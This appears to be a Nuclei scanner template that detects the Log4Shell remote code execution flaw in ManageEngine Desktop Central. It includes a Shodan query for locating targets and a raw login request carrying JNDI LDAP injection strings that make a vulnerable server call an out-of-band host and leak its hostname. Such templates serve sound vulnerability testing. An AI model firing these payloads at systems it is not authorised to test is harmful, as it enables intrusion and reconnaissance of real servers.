66 lines
2.5 KiB
YAML
66 lines
2.5 KiB
YAML
id: manage-engine-dc-log4j-rce
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info:
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name: Manage Engine Desktop Central - Remote Code Execution (Apache Log4j)
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author: shaikhyaser
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severity: critical
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description: |
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Manage Engine Endpoint Central (formerly Desktop Central) is susceptible to Log4j JNDI remote code execution. Endpoint Central is a Unified Endpoint Management (UEM) & Endpoint protection suite that helps manage and secure various network devices
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reference:
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- https://pitstop.manageengine.com/portal/en/community/topic/log4j-security-issue
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 10
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cve-id: CVE-2021-44228
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cwe-id: CWE-77
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metadata:
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max-request: 1
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shodan-query: title:"ManageEngine Desktop Central"
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tags: cve,cve2021,rce,jndi,log4j,manage,engine,oast,kev
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variables:
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rand1: '{{rand_int(111, 999)}}'
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rand2: '{{rand_int(111, 999)}}'
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str: "{{rand_base(5)}}"
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http:
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- raw:
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- |
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POST /two_fact_auth HTTP/1.1
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Host: {{Hostname}}
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Origin: {{RootURL}}
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Referer: {{RootURL}}/configurations
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Content-Type: application/x-www-form-urlencoded
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j_username=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}}&j_password=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}}&otpTimeout=7&browserLocale=en_us&cacheNum=4&csrfPreventionSaltForFlashMessage=
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol #Confirms the DNS Interaction
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words:
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- "dns"
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- type: regex
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part: interactsh_request
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regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' #Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
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extractors:
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- type: kval
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kval:
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- interactsh_ip #Print remote interaction IP in output
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- type: regex
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group: 2
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regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' #Print injection point in output
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part: interactsh_request
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- type: regex
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group: 1
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regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' #Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
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part: interactsh_request
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# digest: 490a004630440220295008ce16149f78c82a911133dd19a866c6abaaa24f51aa5fabb72b4d32935a02200d0a2e568fbb662e0886e424303bc32613a64ad34f79a31aab208b44a9e53838:922c64590222798bb761d5b6d8e72950
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